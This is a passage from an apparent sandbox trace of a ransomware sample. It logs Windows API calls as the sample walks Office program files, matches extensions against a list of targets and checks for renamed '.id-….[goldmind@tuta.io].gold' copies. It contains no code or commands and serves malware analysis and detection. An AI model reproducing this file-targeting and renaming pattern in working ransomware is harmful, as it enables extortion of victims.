Shared\\OFFICE14\\MSOXMLMF.DLL") returned 68 [0088.925] lstrlenW (lpString=".1cd") returned 4 [0088.925] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0088.925] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLMF.DLL") returned 68 [0088.925] lstrlenW (lpString=".jpg") returned 4 [0088.925] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0088.926] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLMF.DLL") returned 68 [0088.926] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLMF.DLL") returned 68 [0088.926] lstrlenW (lpString=".doc") returned 4 [0088.926] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0088.926] lstrlenW (lpString=".docx") returned 5 [0088.926] lstrcmpiW (lpString1=".docx", lpString2="F.DLL") returned -1 [0088.926] lstrlenW (lpString=".pdf") returned 4 [0088.926] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0088.926] lstrlenW (lpString=".xls") returned 4 [0088.926] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0088.926] lstrlenW (lpString=".xlsx") returned 5 [0088.926] lstrcmpiW (lpString1=".xlsx", lpString2="F.DLL") returned -1 [0088.926] lstrlenW (lpString=".ppt") returned 4 [0088.926] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0088.926] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLMF.DLL") returned 68 [0088.926] lstrlenW (lpString=".zip") returned 4 [0088.926] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0088.926] lstrlenW (lpString=".rar") returned 4 [0088.926] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0088.926] lstrlenW (lpString=".bz2") returned 4 [0088.926] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0088.926] lstrlenW (lpString=".7z") returned 3 [0088.926] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0088.926] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLMF.DLL") returned 68 [0088.926] lstrlenW (lpString=".dbf") returned 4 [0088.926] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0088.926] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLMF.DLL") returned 68 [0088.926] lstrlenW (lpString=".1cd") returned 4 [0088.926] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0088.926] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLMF.DLL") returned 68 [0088.926] lstrlenW (lpString=".jpg") returned 4 [0088.926] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0088.926] lstrcmpiW (lpString1=".DLL", lpString2=".gold") returned -1 [0088.926] lstrlenW (lpString="MSPTLS.DLL") returned 10 [0088.926] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSPTLS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msptls.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0089.030] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=1198464) returned 1 [0089.030] CloseHandle (hObject=0x194) returned 1 [0089.030] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSPTLS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msptls.dll")) returned 0x20 [0089.088] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSPTLS.DLL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msptls.dll.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0089.088] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSPTLS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msptls.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0089.088] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSPTLS.DLL") returned 66 [0089.088] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSPTLS.DLL") returned 66 [0089.088] lstrlenW (lpString=".doc") returned 4 [0089.088] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0089.088] lstrlenW (lpString=".docx") returned 5 [0089.088] lstrcmpiW (lpString1=".docx", lpString2="S.DLL") returned -1 [0089.088] lstrlenW (lpString=".pdf") returned 4 [0089.088] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0089.088] lstrlenW (lpString=".xls") returned 4 [0089.088] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0089.088] lstrlenW (lpString=".xlsx") returned 5 [0089.088] lstrcmpiW (lpString1=".xlsx", lpString2="S.DLL") returned -1 [0089.088] lstrlenW (lpString=".ppt") returned 4 [0089.088] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0089.088] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSPTLS.DLL") returned 66 [0089.088] lstrlenW (lpString=".zip") returned 4 [0089.088] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0089.088] lstrlenW (lpString=".rar") returned 4 [0089.088] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0089.088] lstrlenW (lpString=".bz2") returned 4 [0089.088] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0089.088] lstrlenW (lpString=".7z") returned 3 [0089.088] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0089.088] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSPTLS.DLL") returned 66 [0089.088] lstrlenW (lpString=".dbf") returned 4 [0089.088] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0089.088] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSPTLS.DLL") returned 66 [0089.088] lstrlenW (lpString=".1cd") returned 4 [0089.088] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0089.088] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSPTLS.DLL") returned 66 [0089.088] lstrlenW (lpString=".jpg") returned 4 [0089.088] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0089.088] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSPTLS.DLL") returned 66 [0089.088] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSPTLS.DLL") returned 66 [0089.088] lstrlenW (lpString=".doc") returned 4 [0089.088] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0089.089] lstrlenW (lpString=".docx") returned 5 [0089.089] lstrcmpiW (lpString1=".docx", lpString2="S.DLL") returned -1 [0089.089] lstrlenW (lpString=".pdf") returned 4 [0089.089] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0089.089] lstrlenW (lpString=".xls") returned 4 [0089.089] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0089.089] lstrlenW (lpString=".xlsx") returned 5 [0089.089] lstrcmpiW (lpString1=".xlsx", lpString2="S.DLL") returned -1 [0089.089] lstrlenW (lpString=".ppt") returned 4 [0089.089] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0089.089] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSPTLS.DLL") returned 66 [0089.089] lstrlenW (lpString=".zip") returned 4 [0089.089] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0089.089] lstrlenW (lpString=".rar") returned 4 [0089.089] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0089.089] lstrlenW (lpString=".bz2") returned 4 [0089.089] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0089.089] lstrlenW (lpString=".7z") returned 3 [0089.089] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0089.089] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSPTLS.DLL") returned 66 [0089.089] lstrlenW (lpString=".dbf") returned 4 [0089.089] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0089.089] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSPTLS.DLL") returned 66 [0089.089] lstrlenW (lpString=".1cd") returned 4 [0089.089] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0089.089] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSPTLS.DLL") returned 66 [0089.089] lstrlenW (lpString=".jpg") returned 4 [0089.089] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0089.089] lstrcmpiW (lpString1=".INF", lpString2=".gold") returned 1 [0089.089] lstrlenW (lpString="CONCRETE.INF") returned 12 [0089.089] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\concrete.inf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0089.150] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=480) returned 1 [0089.150] CloseHandle (hObject=0x194) returned 1 [0089.150] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\concrete.inf")) returned 0x20 [0089.207] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.INF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\concrete.inf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0089.207] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\concrete.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0089.207] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.INF") returned 77 [0089.207] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.INF") returned 77 [0089.207] lstrlenW (lpString=".doc") returned 4 [0089.207] lstrcmpiW (lpString1=".doc", lpString2=".INF") returned -1 [0089.207] lstrlenW (lpString=".docx") returned 5 [0089.207] lstrcmpiW (lpString1=".docx", lpString2="E.INF") returned -1 [0089.207] lstrlenW (lpString=".pdf") returned 4 [0089.207] lstrcmpiW (lpString1=".pdf", lpString2=".INF") returned 1 [0089.207] lstrlenW (lpString=".xls") returned 4 [0089.207] lstrcmpiW (lpString1=".xls", lpString2=".INF") returned 1 [0089.207] lstrlenW (lpString=".xlsx") returned 5 [0089.207] lstrcmpiW (lpString1=".xlsx", lpString2="E.INF") returned -1 [0089.207] lstrlenW (lpString=".ppt") returned 4 [0089.207] lstrcmpiW (lpString1=".ppt", lpString2=".INF") returned 1 [0089.207] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.INF") returned 77 [0089.207] lstrlenW (lpString=".zip") returned 4 [0089.207] lstrcmpiW (lpString1=".zip", lpString2=".INF") returned 1 [0089.207] lstrlenW (lpString=".rar") returned 4 [0089.207] lstrcmpiW (lpString1=".rar", lpString2=".INF") returned 1 [0089.207] lstrlenW (lpString=".bz2") returned 4 [0089.207] lstrcmpiW (lpString1=".bz2", lpString2=".INF") returned -1 [0089.207] lstrlenW (lpString=".7z") returned 3 [0089.207] lstrcmpiW (lpString1=".7z", lpString2="INF") returned -1 [0089.207] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.INF") returned 77 [0089.207] lstrlenW (lpString=".dbf") returned 4 [0089.207] lstrcmpiW (lpString1=".dbf", lpString2=".INF") returned -1 [0089.207] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.INF") returned 77 [0089.208] lstrlenW (lpString=".1cd") returned 4 [0089.208] lstrcmpiW (lpString1=".1cd", lpString2=".INF") returned -1 [0089.208] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.INF") returned 77 [0089.208] lstrlenW (lpString=".jpg") returned 4 [0089.208] lstrcmpiW (lpString1=".jpg", lpString2=".INF") returned 1 [0089.208] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.INF") returned 77 [0089.208] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.INF") returned 77 [0089.208] lstrlenW (lpString=".doc") returned 4 [0089.208] lstrcmpiW (lpString1=".doc", lpString2=".INF") returned -1 [0089.208] lstrlenW (lpString=".docx") returned 5 [0089.208] lstrcmpiW (lpString1=".docx", lpString2="E.INF") returned -1 [0089.208] lstrlenW (lpString=".pdf") returned 4 [0089.208] lstrcmpiW (lpString1=".pdf", lpString2=".INF") returned 1 [0089.208] lstrlenW (lpString=".xls") returned 4 [0089.208] lstrcmpiW (lpString1=".xls", lpString2=".INF") returned 1 [0089.208] lstrlenW (lpString=".xlsx") returned 5 [0089.208] lstrcmpiW (lpString1=".xlsx", lpString2="E.INF") returned -1 [0089.208] lstrlenW (lpString=".ppt") returned 4 [0089.208] lstrcmpiW (lpString1=".ppt", lpString2=".INF") returned 1 [0089.208] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.INF") returned 77 [0089.208] lstrlenW (lpString=".zip") returned 4 [0089.208] lstrcmpiW (lpString1=".zip", lpString2=".INF") returned 1 [0089.208] lstrlenW (lpString=".rar") returned 4 [0089.208] lstrcmpiW (lpString1=".rar", lpString2=".INF") returned 1 [0089.208] lstrlenW (lpString=".bz2") returned 4 [0089.208] lstrcmpiW (lpString1=".bz2", lpString2=".INF") returned -1 [0089.208] lstrlenW (lpString=".7z") returned 3 [0089.208] lstrcmpiW (lpString1=".7z", lpString2="INF") returned -1 [0089.208] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.INF") returned 77 [0089.208] lstrlenW (lpString=".dbf") returned 4 [0089.208] lstrcmpiW (lpString1=".dbf", lpString2=".INF") returned -1 [0089.208] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.INF") returned 77 [0089.208] lstrlenW (lpString=".1cd") returned 4 [0089.208] lstrcmpiW (lpString1=".1cd", lpString2=".INF") returned -1 [0089.208] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.INF") returned 77 [0089.208] lstrlenW (lpString=".jpg") returned 4 [0089.208] lstrcmpiW (lpString1=".jpg", lpString2=".INF") returned 1 [0089.208] lstrcmpiW (lpString1=".ELM", lpString2=".gold") returned -1 [0089.208] lstrlenW (lpString="ECHO.ELM") returned 8 [0089.208] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\echo.elm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0089.260] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=45262) returned 1 [0089.260] CloseHandle (hObject=0x38c) returned 1 [0089.260] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\echo.elm")) returned 0x20 [0089.260] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.ELM.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\echo.elm.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0089.260] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\echo.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0089.260] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.ELM") returned 69 [0089.260] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.ELM") returned 69 [0089.260] lstrlenW (lpString=".doc") returned 4 [0089.260] lstrcmpiW (lpString1=".doc", lpString2=".ELM") returned -1 [0089.260] lstrlenW (lpString=".docx") returned 5 [0089.260] lstrcmpiW (lpString1=".docx", lpString2="O.ELM") returned -1 [0089.260] lstrlenW (lpString=".pdf") returned 4 [0089.260] lstrcmpiW (lpString1=".pdf", lpString2=".ELM") returned 1 [0089.260] lstrlenW (lpString=".xls") returned 4 [0089.260] lstrcmpiW (lpString1=".xls", lpString2=".ELM") returned 1 [0089.260] lstrlenW (lpString=".xlsx") returned 5 [0089.260] lstrcmpiW (lpString1=".xlsx", lpString2="O.ELM") returned -1 [0089.260] lstrlenW (lpString=".ppt") returned 4 [0089.260] lstrcmpiW (lpString1=".ppt", lpString2=".ELM") returned 1 [0089.260] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.ELM") returned 69 [0089.260] lstrlenW (lpString=".zip") returned 4 [0089.260] lstrcmpiW (lpString1=".zip", lpString2=".ELM") returned 1 [0089.260] lstrlenW (lpString=".rar") returned 4 [0089.260] lstrcmpiW (lpString1=".rar", lpString2=".ELM") returned 1 [0089.260] lstrlenW (lpString=".bz2") returned 4 [0089.260] lstrcmpiW (lpString1=".bz2", lpString2=".ELM") returned -1 [0089.260] lstrlenW (lpString=".7z") returned 3 [0089.260] lstrcmpiW (lpString1=".7z", lpString2="ELM") returned -1 [0089.260] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.ELM") returned 69 [0089.260] lstrlenW (lpString=".dbf") returned 4 [0089.260] lstrcmpiW (lpString1=".dbf", lpString2=".ELM") returned -1 [0089.261] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.ELM") returned 69 [0089.261] lstrlenW (lpString=".1cd") returned 4 [0089.261] lstrcmpiW (lpString1=".1cd", lpString2=".ELM") returned -1 [0089.261] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.ELM") returned 69 [0089.261] lstrlenW (lpString=".jpg") returned 4 [0089.261] lstrcmpiW (lpString1=".jpg", lpString2=".ELM") returned 1 [0089.261] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.ELM") returned 69 [0089.261] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.ELM") returned 69 [0089.261] lstrlenW (lpString=".doc") returned 4 [0089.261] lstrcmpiW (lpString1=".doc", lpString2=".ELM") returned -1 [0089.261] lstrlenW (lpString=".docx") returned 5 [0089.261] lstrcmpiW (lpString1=".docx", lpString2="O.ELM") returned -1 [0089.261] lstrlenW (lpString=".pdf") returned 4 [0089.261] lstrcmpiW (lpString1=".pdf", lpString2=".ELM") returned 1 [0089.261] lstrlenW (lpString=".xls") returned 4 [0089.261] lstrcmpiW (lpString1=".xls", lpString2=".ELM") returned 1 [0089.261] lstrlenW (lpString=".xlsx") returned 5 [0089.261] lstrcmpiW (lpString1=".xlsx", lpString2="O.ELM") returned -1 [0089.261] lstrlenW (lpString=".ppt") returned 4 [0089.261] lstrcmpiW (lpString1=".ppt", lpString2=".ELM") returned 1 [0089.261] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.ELM") returned 69 [0089.261] lstrlenW (lpString=".zip") returned 4 [0089.261] lstrcmpiW (lpString1=".zip", lpString2=".ELM") returned 1 [0089.261] lstrlenW (lpString=".rar") returned 4 [0089.261] lstrcmpiW (lpString1=".rar", lpString2=".ELM") returned 1 [0089.261] lstrlenW (lpString=".bz2") returned 4 [0089.261] lstrcmpiW (lpString1=".bz2", lpString2=".ELM") returned -1 [0089.261] lstrlenW (lpString=".7z") returned 3 [0089.261] lstrcmpiW (lpString1=".7z", lpString2="ELM") returned -1 [0089.261] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.ELM") returned 69 [0089.261] lstrlenW (lpString=".dbf") returned 4 [0089.261] lstrcmpiW (lpString1=".dbf", lpString2=".ELM") returned -1 [0089.261] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.ELM") returned 69 [0089.261] lstrlenW (lpString=".1cd") returned 4 [0089.261] lstrcmpiW (lpString1=".1cd", lpString2=".ELM") returned -1 [0089.261] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.ELM") returned 69 [0089.261] lstrlenW (lpString=".jpg") returned 4 [0089.261] lstrcmpiW (lpString1=".jpg", lpString2=".ELM") returned 1 [0089.261] lstrcmpiW (lpString1=".ELM", lpString2=".gold") returned -1 [0089.261] lstrlenW (lpString="WATERMAR.ELM") returned 12 [0089.261] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\watermar.elm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0089.263] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=49094) returned 1 [0089.263] CloseHandle (hObject=0x38c) returned 1 [0089.263] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\watermar.elm")) returned 0x20 [0089.263] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.ELM.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\watermar.elm.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0089.263] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\watermar.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0089.263] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.ELM") returned 77 [0089.263] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.ELM") returned 77 [0089.263] lstrlenW (lpString=".doc") returned 4 [0089.263] lstrcmpiW (lpString1=".doc", lpString2=".ELM") returned -1 [0089.263] lstrlenW (lpString=".docx") returned 5 [0089.263] lstrcmpiW (lpString1=".docx", lpString2="R.ELM") returned -1 [0089.263] lstrlenW (lpString=".pdf") returned 4 [0089.263] lstrcmpiW (lpString1=".pdf", lpString2=".ELM") returned 1 [0089.263] lstrlenW (lpString=".xls") returned 4 [0089.263] lstrcmpiW (lpString1=".xls", lpString2=".ELM") returned 1 [0089.263] lstrlenW (lpString=".xlsx") returned 5 [0089.263] lstrcmpiW (lpString1=".xlsx", lpString2="R.ELM") returned -1 [0089.263] lstrlenW (lpString=".ppt") returned 4 [0089.263] lstrcmpiW (lpString1=".ppt", lpString2=".ELM") returned 1 [0089.263] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.ELM") returned 77 [0089.263] lstrlenW (lpString=".zip") returned 4 [0089.263] lstrcmpiW (lpString1=".zip", lpString2=".ELM") returned 1 [0089.263] lstrlenW (lpString=".rar") returned 4 [0089.263] lstrcmpiW (lpString1=".rar", lpString2=".ELM") returned 1 [0089.263] lstrlenW (lpString=".bz2") returned 4 [0089.263] lstrcmpiW (lpString1=".bz2", lpString2=".ELM") returned -1 [0089.263] lstrlenW (lpString=".7z") returned 3 [0089.263] lstrcmpiW (lpString1=".7z", lpString2="ELM") returned -1 [0089.263] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.ELM") returned 77 [0089.263] lstrlenW (lpString=".dbf") returned 4 [0089.264] lstrcmpiW (lpString1=".dbf", lpString2=".ELM") returned -1 [0089.264] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.ELM") returned 77 [0089.264] lstrlenW (lpString=".1cd") returned 4 [0089.264] lstrcmpiW (lpString1=".1cd", lpString2=".ELM") returned -1 [0089.264] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.ELM") returned 77 [0089.264] lstrlenW (lpString=".jpg") returned 4 [0089.264] lstrcmpiW (lpString1=".jpg", lpString2=".ELM") returned 1 [0089.264] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.ELM") returned 77 [0089.264] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.ELM") returned 77 [0089.264] lstrlenW (lpString=".doc") returned 4 [0089.264] lstrcmpiW (lpString1=".doc", lpString2=".ELM") returned -1 [0089.264] lstrlenW (lpString=".docx") returned 5 [0089.264] lstrcmpiW (lpString1=".docx", lpString2="R.ELM") returned -1 [0089.264] lstrlenW (lpString=".pdf") returned 4 [0089.264] lstrcmpiW (lpString1=".pdf", lpString2=".ELM") returned 1 [0089.264] lstrlenW (lpString=".xls") returned 4 [0089.264] lstrcmpiW (lpString1=".xls", lpString2=".ELM") returned 1 [0089.264] lstrlenW (lpString=".xlsx") returned 5 [0089.264] lstrcmpiW (lpString1=".xlsx", lpString2="R.ELM") returned -1 [0089.264] lstrlenW (lpString=".ppt") returned 4 [0089.264] lstrcmpiW (lpString1=".ppt", lpString2=".ELM") returned 1 [0089.264] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.ELM") returned 77 [0089.264] lstrlenW (lpString=".zip") returned 4 [0089.264] lstrcmpiW (lpString1=".zip", lpString2=".ELM") returned 1 [0089.264] lstrlenW (lpString=".rar") returned 4 [0089.264] lstrcmpiW (lpString1=".rar", lpString2=".ELM") returned 1 [0089.264] lstrlenW (lpString=".bz2") returned 4 [0089.264] lstrcmpiW (lpString1=".bz2", lpString2=".ELM") returned -1 [0089.264] lstrlenW (lpString=".7z") returned 3 [0089.264] lstrcmpiW (lpString1=".7z", lpString2="ELM") returned -1 [0089.264] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.ELM") returned 77 [0089.264] lstrlenW (lpString=".dbf") returned 4 [0089.264] lstrcmpiW (lpString1=".dbf", lpString2=".ELM") returned -1 [0089.264] lstrlenW (lpString="C:\\Program Files\\Common 